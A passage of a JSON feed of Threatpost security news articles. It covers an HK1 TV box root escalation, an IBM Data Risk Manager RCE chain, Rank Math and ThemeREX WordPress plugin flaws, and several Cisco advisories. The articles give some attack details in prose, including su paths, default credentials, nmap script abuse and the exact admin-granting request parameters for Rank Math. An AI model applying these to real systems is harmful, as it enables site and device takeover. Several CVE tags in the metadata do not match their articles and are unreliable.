out of 10 on the [CvSS severity scale](<https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H&version=3.1>), according to researchers at Sick.Codes, a security resource for developers.\n\nThe HK1 Box S905X3 TV Box is an Android-based streaming box that plugs into a TV and allows users to access YouTube, Netflix and other streaming content \u201cover-the-top,\u201d i.e., without a cable subscription. Users can also sign into their favorite email, music and social-networking-related apps for a full \u201csmart TV\u201d experience. It retails for under $100.\n\n[![Threatpost Webinar Promo Retail Security](https://media.threatpost.com/wp-content/uploads/sites/103/2020/10/07103433/webinar-promo-retail-security-1.jpg)](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\n\nClick to Register!\n\nThe vulnerability would allow a local, unprivileged user to escalate to root, the Sick.Codes team said [in a posting](<https://sick.codes/sick-2020-004/>) this week. At issue is a lack of authentication when it comes to the debugging functions of the set-top \u2013 specifically, when connected to the device through the serial port (UART), or while using the [Android Debug Bridge](<https://developer.android.com/studio/command-line/adb>) (adb), as an unprivileged user.\n\nadb is a versatile command-line tool that lets users communicate with a device. It facilitates a variety of device actions, such as installing and debugging apps, and it provides access to a Unix shell that can be used to run a variety of commands on a device.\n\n\u201cA local attacker using adb, or a physical attacker connecting to the device through the UART serial debugging port, is dropped into a shell as the \u2018shell\u2019 user without entering a username or password,\u201d researchers explained. \u201cOnce logged in as the \u2018shell\u2019 user, the attacker can escalate to root using the /sbin/su binary which is group executable (750), or /system/xbin/su which is executable by all users (755).\u201d\n\nOnce endowed with root privileges, the attacker can view any of the information for the apps the user is signed into \u2013 paving the way for stealing access tokens, passwords, contacts and messages and more. Attackers could also use the HK1 Box maliciously to sniff other devices on the same network, usually in a home-networking environment, according to the analysis.\n\n\u201cFor example, once root, the network Wi-Fi password can be read in plain text at /data/misc/wifi/WifiConfigStore.xml,\u201d researchers explained.\n\nThus far, the issue has not been addressed.\n\nThe vendor for the device is the Shenzhen Hindo Technology Co.,Ltd., based just outside of Hong Kong. The researchers were unable to contact the company (and its website, [www.hindotech.com](<http://www.hindotech.com>), was down as of the time of writing). Instead, the researchers submitted a draft advisory to Amlogic, which shares branding with the device in the States \u2013 and received no response.\n\nThreatpost has tried to contact Shenzhen Hindo but has been unsuccessful in reaching the company.\n\nThis is only the latest entertainment-related security bug. Last week, researchers disclosed the [\u2018WarezTheRemote\u2019 attack](<https://threatpost.com/comcast-tv-remote-homes-snooping/159899/>), affecting Comcast\u2019s XR11 voice remote control. A security flaw would allow attackers to remotely snoop in on victims\u2019 private conversations.\n\nThe flaw stems from Comcast\u2019s XR11, a popular voice-activated remote control for cable TV, which has more than 18 million units deployed across the U.S. The remote enables users to say the channel or content they want to watch rather than keying in the channel number or typing to search.\n\n[**On October 14 at 2 PM ET**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** Get the latest information on the rising threats to retail e-commerce security and how to stop them. **[**Register today**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** for this FREE Threatpost webinar, \u201c**[**Retail Security: Magecart and the Rise of e-Commerce Threats.**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this **[**LIVE **](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**webinar.**\n", "cvss3": {}, "published": "2020-10-13T16:36:15", "type": "threatpost", "title": "Authentication Bug Opens Android Smart-TV Box to Data Theft", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-10-13T16:36:15", "id": "THREATPOST:DFC75A06F449D25EF03338C5D80C705C", "href": "https://threatpost.com/authentication-bug-android-smart-tv-data-theft/160025/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:26:14", "description": "UPDATED\n\nFour serious security vulnerabilities in the IBM Data Risk Manager (IDRM) have been identified that can lead to unauthenticated remote code execution (RCE) as root in vulnerable versions, according to analysis \u2013 and a proof-of-concept exploit is available.\n\nIBM weighed in on the problem this week, after a researcher went public with the bugs, one of which may end up being a zero-day issue \u2014 Big Blue is still investigating.\n\nIDRM is a software platform that aggregates threat data from disparate security systems, in order to perform enterprise security risk analysis. According to security researcher Pedro Ribeiro from Agile Information Security, older versions (v. 2.0.1 to 2.0.3) of the IDRM Linux virtual appliance contains bugs pertaining to authentication bypass; command injection; insecure default password; and arbitrary file download. The first three can be chained together to achieve RCE in vulnerable versions.[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/16215737/Divycloud_225x188.jpg)](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)\n\n\u201cIDRM is an enterprise security product that handles very sensitive information,\u201d Ribeiro wrote in a [Tuesday analysis](<https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md>). \u201cThe hacking of an IDRM appliance might lead to a full-scale company compromise, as it stores credentials to access other security tools, not to mention it contains information about critical vulnerabilities that affect the company.\u201d\n\n**Three Chained Bugs for RCE**\n\nThe first three bugs that Ribeiro found can be combined to allow a remote attacker to gain full system compromise, according to the research.\n\nThe first is as-yet unaddressed by IBM: An authentication-bypass issue that exists in the appliance\u2019s API endpoint, /albatross/user/login. This endpoint is authenticated by a method that takes the username and sessionID credentials of the person trying to log in, and checks if username exists in the database and if the sessionId is associated with that username. If it all checks out, the application returns a newly generated random password for that username. However, Ribeiro demonstrated that a remote attacker can send a specially crafted request that subverts this process and allows an attacker to retrieve a valid Bearer administrative token. That can then be used to access various APIs.\n\n\u201cIt\u2019s also possible to login as a normal web user on the /albatross/login endpoint, which will yield an authenticated cookie instead of a token, allowing access to the web administration console,\u201d explained the researcher. \u201cIn any case\u2026authentication is now completely bypassed and we have full administrative access to IDRM.\u201d\n\nThe command-injection bug, which has a patch, meanwhile exists because the IDRM exposes an API at /albatross/restAPI/v2/nmap/run/scan that allows an authenticated user to perform nmap scans.\n\n\u201cHaving access to nmap allows running arbitrary commands, if we can upload a script file and then pass that as an argument to nmap with \u2013script=<FILE>,\u201d the researcher explained. \u201cHowever, to achieve code execution in this way, we still need to upload a file. Luckily, there is a method that processes patch files and accepts arbitrary file data, saving it to /home/a3user/agile3/patches/<FILE>.\u201d\n\nThat method is supposed to accept a patch file, process it and apply it. However, Ribeiro explained that \u201cthere are several bugs in version 2.0.2 that cause the method to abort early and fail to process the file. Still, the file is uploaded and kept on disk even after the method aborts.\u201d\n\nIn order to exploit this bug, an attacker would need to have an authenticated session as an administrator, which can be achieved with the first vulnerability.\n\nThe third bug, which IBM says can be solved by reconfiguring the appliance, comes from the use of hard-coded credentials: The administrative user in the IDRM virtual appliance is \u201ca3user\u201d by default.\n\n\u201cThis user is allowed to login via SSH and run sudo commands, and it is set up with a default password of \u2018idrm,'\u201d said Ribeiro.\n\nAnd, when combined with the first two bugs, this allows an unauthenticated attacker to achieve RCE as root on the IDRM virtual appliance, leading to complete system compromise, the researcher said.\n\nA Metasploit [proof-of-concept exploit module](<https://github.com/rapid7/metasploit-framework/pull/13300>) implementing the full RCE chain has been released and a video demonstration can be [found here](<https://asciinema.org/a/3nJ4lD1pD7XBfEFqkc9qPDUV2>).\n\n**Arbitrary File Download**\n\nThe fourth bug, also fixed in later versions, is a path traversal bug that comes from an improper limitation of a pathname to a restricted directory.\n\n\u201cIDRM exposes an API at /albatross/eurekaservice/fetchLogFiles that allows an authenticated user to download log files from the system,\u201d explained Ribeiro. \u201cHowever, the logFileNameList parameter contains a basic directory traversal flaw that allows an attacker to download any file off the system.\u201d\n\nHe added that exploitation is \u201cvery simple.\u201d\n\nThis flaw too can be chained. When combined with the first authentication-bypass bug, an unauthenticated attacker can download any file readable by \u201ca3user\u201d off the system, Ribeiro said. A [second Metasploit module](<https://github.com/rapid7/metasploit-framework/pull/13301>) implementing this was released and a video demo [can be found here](<https://asciinema.org/a/y6HfoaEIf8qZbn6mcUGeVhyUp>).\n\n**Patch Information and Mitigation**\n\nVersions 2.0.1 to 2.0.3 have been confirmed as vulnerable to the first three flaws, according to Ribeiro; as for the fourth issue, version 2.0.1 is not vulnerable, but v. 2.0.2 and 2.0.3 are. According to [IBM\u2019s advisory](<https://www.ibm.com/support/pages/node/6195705>), issued on April 22 after Ribeiro disclosed his findings, the command-injection vulnerability and the arbitrary-file download bug were both fixed in version 2.0.4. IBM also said that the default-password issue is a configuration choice and up to administrators to change ([guidance available here](<https://www.ibm.com/support/knowledgecenter/en/SSJQ6V_2.0.6/com.ibm.idrm.doc/install/tsk/tsk_installguide_idrm_configuration.html>)).\n\nAs for the first vulnerability, the authentication bypass, IBM said in the advisory that it is \u201cinvestigating this report and will provide further information on fix action as appropriate.\u201d\n\nThe current version of the IDRM is v. 2.0.6.\n\nInitially, Ribeiro made an attempt to coordinate disclosure with IBM via CERT/CC, but IBM did not accept the vulnerability report for review:\n\n_\u201cWe have assessed this report and closed as being out of scope for our vulnerability disclosure program since this product is only for \u2018enhanced\u2019 support paid for by our customers,\u201d according to Big Blue\u2019s response to CERT/CC. \u201cThis is outlined in our policy https://hackerone.com/ibm. To be eligible to participate in this program, you must not be under contract to perform security testing for IBM Corporation, or an IBM subsidiary, or IBM client within six months prior to submitting a report.\u201d_\n\nHowever, after Ribeiro made his findings public, Big Blue said the rejection was a mistake.\n\n\u201cA process error resulted in an improper response to the researcher who reported this situation to IBM,\u201d a spokesperson told Threatpost on Tuesday. \u201cWe have been working on mitigation steps and they will be discussed in a security advisory to be issued.\u201d\n\n_This article was updated at 4 p.m. ET on Tuesday, April 21 with a statement from IBM, and at 10 a.m. ET on Wednesday, April 22 with fresh advisory information from IBM._\n\n**_Worried about your cloud security in the work-from-home era? On _****_April 23 at 2 p.m. ET_****_, join DivvyCloud and Threatpost for a FREE webinar, _**[**_A Practical Guide to Securing the Cloud in the Face of Crisis_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)**_. Get exclusive research insights and critical, advanced takeaways on how to avoid cloud disruption and chaos in the face of COVID-19 \u2013 and during all times of crisis. _**[**_Please register here_**](<https://attendee.gotowebinar.com/register/4136632530104301068?source=art>)_** for this sponsored webinar.**_\n", "cvss3": {}, "published": "2020-04-21T18:19:01", "type": "threatpost", "title": "RCE Exploit Released for IBM Data Risk Manager", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-04-21T18:19:01", "id": "THREATPOST:C9AB0B1EBE1A344DC385414BD784DFC7", "href": "https://threatpost.com/rce-exploit-ibm-data-risk-manager-no-patch/154986/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:26:52", "description": "A pair of security vulnerabilities in the WordPress search engine optimization (SEO) plugin, known as Rank Math, could allow remote cybercriminals to elevate privileges and install malicious redirects onto a target site, according to researchers. It\u2019s a WordPress plugin with more than 200,000 installations.\n\nAccording to researchers with Wordfence, one of the flaws is critical (10 out of 10 on the CVSSv3 vulnerability severity scale). It could allow an unauthenticated attacker to update arbitrary metadata. This can be abused to grant or revoke administrative privileges for any registered user on the site.\n\nThe second vulnerability is characterized as high-severity (7.4 on the severity scale) and could enable an unauthenticated attacker to create redirects from almost any location on the site to any destination of their choice.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nWordfence disclosed the bugs to the developer of the add-on on March 24 (its full name is \u201cWordPress SEO Plugin \u2013 Rank Math\u201d) \u2013 and CVE tracking numbers are forthcoming, researchers said, [in an analysis](<https://www.wordfence.com/blog/2020/03/critical-vulnerabilities-affecting-over-200000-sites-patched-in-rank-math-seo-plugin/>) released Tuesday. A patch is now available in the latest version, 1.0.41.1, so Web administrators should update their sites.\n\n**Critical Metadata Flaw**\n\nRank Math allows users to update the metadata on website posts \u2013 which is where the bug lies, according to a technical analysis published on Tuesday by Wordfence.\n\nThe plugin registers a REST-API endpoint, rankmath/v1/updateMeta, the firm explained in its breakdown. This calls a function called \u201cupdate_metadata,\u201d which could be used to update the slug on existing posts, or could be used to delete or update metadata for posts, comments and terms. This endpoint also allows for updating metadata for users.\n\nThe issue is that in non-patched versions, the endpoint fails to include a permissions check on users making changes.\n\n\u201cWordPress user permissions are stored in the usermeta table, which meant that an unauthenticated attacker could grant any registered user administrative privileges by sending a $_POST request to wp-json/rankmath/v1/updateMeta, with an objectID parameter set to the User ID to be modified, an objectType parameter set to user, a meta[wp_user_level] parameter set to 10, and a meta[wp_capabilities][administrator] parameter set to 1,\u201d the analysis noted.\n\nA nefarious type could also completely revoke an existing administrator\u2019s privileges by sending a similar request with a meta[wp_user_level] parameter and a meta[wp_capabilities] parameter set to empty values, the researchers added, effectively locking administrators out of their own sites.\n\n\u201cNote that these attacks are only the most critical possibilities. Depending on the other plugins installed on a site, the ability to update post, term and comment metadata could potentially be used for many other exploits such as cross-site scripting (XSS),\u201d the researchers commented.\n\n**Malicious Redirect Bonanza**\n\nThe Rank Math plugin also comes with an optional module that can be used to create redirects on a site. An administrator might do this to direct visitors away from pages under construction, for example.\n\nIn order to add this feature, the plugin registers a REST-API endpoint for this too, called \u201crankmath/v1/updateRedirection.\u201d And, like the other vulnerability, this endpoint fails to execute a permissions check, according to Wordfence \u2013 which means that an attacker could easily create new redirects or modify existing redirects. As such, the attack could essentially be used to prevent access to almost all of a site\u2019s existing content, according to the analysis, by simply redirecting visitors to a malicious site.\n\n\u201cIn order to perform this attack, an unauthenticated attacker could send a $_POST request to rankmath/v1/updateRedirection with a redirectionUrl parameter set to the location they wanted the redirect to go to, a redirectionSources parameter set to the location to redirect from, and a hasRedirect parameter set to true,\u201d Wordfence researchers wrote.\n\nThere is, however, a caveat that accounts for the lower-severity rating of the bug: \u201cThe redirect could not be set to an existing file or folder on the server, including the site\u2019s main page,\u201d according to the analysis. \u201cThis limited the damage to some extent in that, while an attacker could create a redirect from most locations on the site, including new locations, or any existing post or page other than the homepage, they could not redirect visitors immediately upon accessing the site.\u201d\n\nWeb admins can mitigate the issues by building in a \u201cpermission_callback\u201d on any REST-API endpoints, or by updating to the latest version of the plug-in.\n\nWordPress plugins continue to make headlines as weak links that can lead to website compromises. For instance, in March, a critical vulnerability in a WordPress plugin known as \u201cThemeREX Addons\u201d [was found](<https://threatpost.com/themerex-wordpress-plugin-remote-code-execution/153592/>) that could open the door for remote code execution in 44,000 websites.\n\nAlso in March, two vulnerabilities \u2013 including a high-severity flaw \u2013 [were patched](<https://threatpost.com/wordpress-plugin-bug-popup-builder/153715/>) in a popular WordPress plugin called Popup Builder. The more severe flaw could enable an unauthenticated attacker to infect malicious JavaScript into a popup \u2013 potentially opening up more than 100,000 websites to takeover.\n\nIn February, popular WordPress plugin Duplicator, which has more than 1 million active installations, [was discovered to have](<https://www.wordfence.com/blog/2020/03/zero-day-vulnerability-in-themerex-addons-now-patched/>) an unauthenticated arbitrary file download vulnerability that was being attacked. And, earlier that month, a critical flaw in a popular WordPress plugin that helps make websites compliant with the General Data Protection Regulation (GDPR) [was disclosed](<https://threatpost.com/critical-wordpress-plugin-bug-afflicts-700k-sites/152871/>); it could enable attackers to modify content or inject malicious JavaScript code into victim websites. It affected 700,000 sites.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/24173101/DUO_320x50.jpg)](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-04-01T18:03:01", "type": "threatpost", "title": "Critical WordPress Plugin Bug Can Lock Admins Out of Websites", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-04-01T18:03:01", "id": "THREATPOST:1973BA4B294E79D107940CF5DA67CB9A", "href": "https://threatpost.com/critical-wordpress-plugin-bug-lock-admins-out/154354/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:27:42", "description": "A critical vulnerability in a WordPress plugin known as \u201cThemeREX Addons\u201d could open the door for remote code execution in tens of thousands of websites. According to Wordfence, the bug has been actively exploited in the wild as a zero-day.\n\nThe plugin, which is installed on approximately 44,000 sites, is used to apply various \u201cskins\u201d that govern the look and feel of web destinations, including theme-enhancing features and widgets.\n\nTo provide compatibility with WordPress\u2019 Gutenberg plugin, the ThemeREX Addons plugin uses an API, according to Wordfence researcher Chloe Chamberland, writing in [a blog posting](<https://www.wordfence.com/blog/2020/03/zero-day-vulnerability-in-themerex-addons-now-patched/>) on Monday. When the API interacts with Gutenberg, the touchpoints of that communication are known as endpoints. ThemeREX uses the \u201c~/includes/plugin.rest-api.php\u201d file to register an endpoint (\u201c/trx_addons/v2/get/sc_layout\u201d), which in turn calls the \u201ctrx_addons_rest_get_sc_layout\u201d function.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThis introduces an access-control problem, the researcher noted. In unpatched versions of ThemeREX, \u201cthere were no capability checks on this endpoint that would block users that were not administrators or currently signed in, so any user had the ability to call the endpoint regardless of capability,\u201d she explained. \u201cIn addition, there was no nonce check to verify the authenticity of the source.\u201d\n\nFurther down in the code, there\u2019s also a functionality used to get parameters from widgets that work with the Gutenberg plugin.\n\n\u201cThis is where the core of the remote code execution vulnerability was present,\u201d Chamberland wrote. \u201cThere were no restrictions on the PHP functions that could be used or the parameters that were provided as input. Instead, we see a simple if (function_exists($sc)) allowing for any PHP function to be called and executed.\u201d\n\nThe upshot of this is that adversaries can use various WordPress functions \u2013 for instance, in attacks in the wild, the \u201cwp_insert_user\u201d function was used to create administrative user accounts and take over sites, according to the research.\n\nThemeREX has now addressed the issue by completely removing the affected ~/plugin.rest-api.php file from the plugin \u2013 users should update to the latest version to stay protected.\n\nWordPress plugins continue to be a rich avenue of attack for cybercriminals. Last month, popular WordPress plugin Duplicator, which has more than 1 million active installations, [was discovered to have](<https://www.wordfence.com/blog/2020/03/zero-day-vulnerability-in-themerex-addons-now-patched/>) an unauthenticated arbitrary file download vulnerability that was being attacked.\n\nAnd, earlier in February a critical flaw in a popular WordPress plugin that helps make websites compliant with the General Data Protection Regulation (GDPR) [was disclosed](<https://threatpost.com/critical-wordpress-plugin-bug-afflicts-700k-sites/152871/>); it could enable attackers to modify content or inject malicious JavaScript code into victim websites. It affected 700,000 sites.\n\n**_Interested in security for the Internet of Things and how 5G will change things? Join our free Threatpost webinar, [\u201c5G, the Olympics and Next-Gen Security Challenges,\u201d](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>) as our panel discusses what use cases to expect in 2020 (the Olympics will be a first test), why 5G security risks are different, the role of AI in defense and how enterprises can manage their risk. [Register here](<https://attendee.gotowebinar.com/register/3191336203359293954?source=art>)._**\n", "cvss3": {}, "published": "2020-03-10T20:30:36", "type": "threatpost", "title": "Popular ThemeREX WordPress Plugin Opens Websites to RCE", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-03-10T20:30:36", "id": "THREATPOST:CEFF4DB144B2E463CD3FB46A8A93EEF8", "href": "https://threatpost.com/themerex-wordpress-plugin-remote-code-execution/153592/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:15:03", "description": "Cisco patched a critical flaw in its wide area network (WAN) software solution for enterprises, which if exploited could give remote, unauthenticated attackers administrator privileges.\n\nThe flaw exists in Cisco Virtual Wide Area Application Services (vWAAS), which is software that Cisco describes as a \u201cWAN optimization solution.\u201d It helps manage business applications that are being leveraged in virtual private cloud infrastructure. The flaw (CVE-2020-3446), which has a critical-severity CVSS score of 9.8 out of 10, exists because user accounts for accessing the software contain default passwords. That means an attacker could log in, via a default password, and thus potentially obtain administrator privileges.\n\n\u201cThe Cisco Product Security Incident Response Team (PSIRT) is not aware of any public announcements or malicious use of the vulnerability that is described in this advisory,\u201d according to Cisco\u2019s [Wednesday advisory](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-waas-encsw-cspw-cred-hZzL29A7>).\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nvWAAS is hosted in compute appliances called Cisco Enterprise Network Compute Series (ENCS). These appliances are also used to deploy the Cisco Enterprise NFV Infrastructure Software (NFVIS), a [software platform](<https://blogs.cisco.com/networking/what-is-cisco-nfv-infrastructure-software>) that implements full lifecycle management from the central orchestrator and controller for virtualized services.\n\nThis vulnerability specifically affects Cisco ENCS 5400-W Series and CSP 5000-W Series appliances if they are running Cisco vWAAS with NFVIS-bundled image releases 6.4.5, or 6.4.3d and earlier. The flaw is fixed in Cisco vWAAS with NFVIS-bundled image release 6.4.3e, 6.4.5a, and later releases.\n\nWhile an attacker could be unauthenticated and remote, in order to exploit this vulnerability, they would need to be able to connect to the NFVIS command line interface (CLI) on an affected device. This would require access to one of the following:\n\n * The Ethernet management port for the CPU on an affected ENCS 5400-W Series appliance.\n * The first port on the four-port I350 PCIe Ethernet Adapter card on an affected CSP 5000-W Series appliance.\n * A connection to the vWAAS software CLI and a valid user credential to authenticate on the vWAAS CLI first.\n * Or a connection to the Cisco Integrated Management Controller (CIMC) interface of the ENCS 5400-W Series or CSP 5000-W Series appliance (and a valid user credential to authenticate to the CIMC first).\n\nCisco on Wednesday also issued patches for two high-severity vulnerabilities (CVE-2020-3506, CVE-2020-3507) in its Video Surveillance 8000 Series IP cameras, which could enable remote code execution and denial of services (DoS).\n\n\u201cMultiple vulnerabilities in the Cisco Discovery Protocol implementation for Cisco Video Surveillance 8000 Series IP Cameras could allow an unauthenticated, adjacent attacker to execute code remotely or cause a reload of an affected IP camera,\u201d according to Cisco.\n\nAnd, a high-severity flaw (CVE-2020-3443) [found and fixed](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-smart-priv-esca-nqwxXWBu>) in Cisco Smart Software Manager On-Prem (SSM On-Prem) could allow an authenticated, remote attacker to elevate privileges and execute commands with higher privileges.\n\n_It\u2019s the age of remote working, and businesses are facing new and bigger cyber-risks \u2013 whether it\u2019s collaboration platforms in the crosshairs, evolving insider threats or issues with locking down a much broader footprint. Find out how to address these new cybersecurity realities with our complimentary _[_Threatpost eBook_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)**_, 2020 in Security: Four Stories from the New Threat Landscape_**_, presented in conjunction with Forcepoint. We redefine \u201csecure\u201d in a work-from-home world and offer compelling real-world best practices. _[_Click here to download our eBook now_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)_._\n\nWrite a comment\n\n**Share this article:**\n\n * [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)\n * [Web Security](<https://threatpost.com/category/web-security/>)\n", "cvss3": {}, "published": "2020-08-20T12:43:13", "type": "threatpost", "title": "Cisco Critical Flaw Patched in WAN Software Solution", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-3443", "CVE-2020-3446", "CVE-2020-3506", "CVE-2020-3507"], "modified": "2020-08-20T12:43:13", "id": "THREATPOST:245021185706E94E1CA436608011DDB2", "href": "https://threatpost.com/cisco-critical-flaw-patched-in-wan-software-solution/158485/", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:25:44", "description": "A critical Cisco vulnerability exists in its administrative management tool for Cisco network security solutions. The flaw could allow an unauthenticated, remote attacker to gain administrative privileges on impacted devices.\n\nThe flaw exists in the web-based management interface of the [Cisco Firepower Management Center](<https://www.cisco.com/c/en_au/products/security/firesight-management-center/index.html>) (FMC), which is its platform for managing Cisco network security solutions, like [firewalls](<https://www.cisco.com/c/en_au/products/security/firewalls/index.html#~stickynav=1>) or its [advanced malware protection](<https://www.cisco.com/c/en_au/products/security/advanced-malware-protection/index.html>) service. Cisco has released patches for the vulnerability (CVE-2019-16028), which has a score of 9.8 out of 10 on the CVSS scale, making it critical in severity.\n\n\u201cThe Cisco Product Security Incident Response Team (PSIRT) is not aware of any public announcements or malicious use of the vulnerability that is described in this advisory,\u201d Cisco said in its [advisory released Wednesday](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200122-fmc-auth>).\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe vulnerability stems from \u201cimproper handling\u201d of Lightweight Directory Access Protocol (LDAP) authentication responses from an external authentication server. LDAP is an industry standard application protocol used to access and manage directory information over an IP network.\n\nLDAP is used for a variety of functions within FMC, such as FMC Web Management Portal Authentication, Remote Access VPN Authorization, command line interface authorization, and others. This vulnerability impacts only the FMC Web Management Portal if it is configured to authenticate users of the web management portal through an external LDAP server.\n\nAn attacker could exploit this vulnerability by sending crafted HTTP requests to a vulnerable device, Cisco said. They could then bypass authentication and gain administrative access to the web-based management interface of the affected device.\n\n[![cisco critical flaw](https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/23102124/cisco-patches-1024x576.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/01/23102124/cisco-patches.png>)\n\n[According to Omar Santos](<https://community.cisco.com/t5/security-documents/assessing-the-impact-of-the-cisco-firepower-management-center/ta-p/4016460>), principal engineer for the Cisco PSIRT, Cisco customers can do the following to determine whether they are impacted:\n\n * Check if the Cisco FMC Software is configured to authenticate users of the web-based management interface through an external LDAP server;\n * Check if external authentication using an LDAP server is configured on the device (System > Users > External Authentication)\n\nOverall, Cisco [released updates addressing 27 flaws](<https://tools.cisco.com/security/center/publicationListing.x?product=Cisco&sort=-day_sir&limit=50#~Vulnerabilities>) on Wednesday, including the critical flaw, seven high-severity vulnerabilities and 19 medium-severity glitches. Some of the patched high-severity flaws exist in Cisco\u2019s [TelePresence Collaboration Endpoint](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-telepresence-path-tr-wdrnYEZZ>) (a product designed to link two rooms so they resemble a single conference room), [its SD-WAN](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sd-wan-cred-EVGSF259>) solution, its [IOS XR software](<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200122-ios-xr-routes>) and more.\n\nIt\u2019s been a busy start to 2020 so far for Cisco in terms of security updates. Earlier this month, Cisco [fixed two high-severity vulnerabilities](<https://threatpost.com/cisco-webex-bug-allows-remote-code-execution/151724/>) in its products, including one in its popular Webex video conferencing platform, that could enable a remote attacker to execute commands.\n\nAlso earlier in January [Cisco also patched three critical vulnerabilities](<https://threatpost.com/cisco-patches-3-critical-bugs-nx-os/151529/>) (CVE-2019-15975, CVE-2019-15976, CVE-2019-15977) in its Data Center Network Manager (DCNM), for which a [proof-of-concept exploit](<https://threatpost.com/cisco-dcnm-flaw-exploit/151949/>) was later published.\n", "cvss3": {}, "published": "2020-01-23T15:56:41", "type": "threatpost", "title": "Cisco Warns of Critical Network Security Tool Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-15975", "CVE-2019-15976", "CVE-2019-15977", "CVE-2019-16028", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-01-23T15:56:41", "id": "THREATPOST:62D348CF6DAF40D6FBCD313A3BCEDBF9", "href": "https://threatpost.com/cisco-critical-network-security-tool-flaw/152131/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:23:16", "description": "Cisco Systems has patched two high-severity vulnerabilities in its popular Webex video conferencing platform, which if exploited could allow an attacker to execute code on affected systems.\n\nTwo multimedia players tied to the Webex platform are impacted. First is the Cisco Webex Network Recording Player, used to play back Advanced Recording Format (ARF) files on the Windows operating system. ARF files contain data from a recorded online meeting, such as video data and a list of attendees. Cisco Webex Player is also affected, which used to play back Webex Recording Format (WRF) files on the Windows OS. WRF files contain audio and video recordings, typically used for demonstrations, training and conferencing.\n\nThe vulnerabilities ([CVE-2020-3127](<https://nvd.nist.gov/vuln/detail/CVE-2020-3127>) and [CVE-2020-3128](<https://nvd.nist.gov/vuln/detail/CVE-2020-3128>)) are both 7.8 out of 10.0 on the CVSS scale, making them high-severity. They stem from an insufficient validation of non-detailed, \u201ccertain elements\u201d within a Webex recording that is stored in either ARF or WRF, said 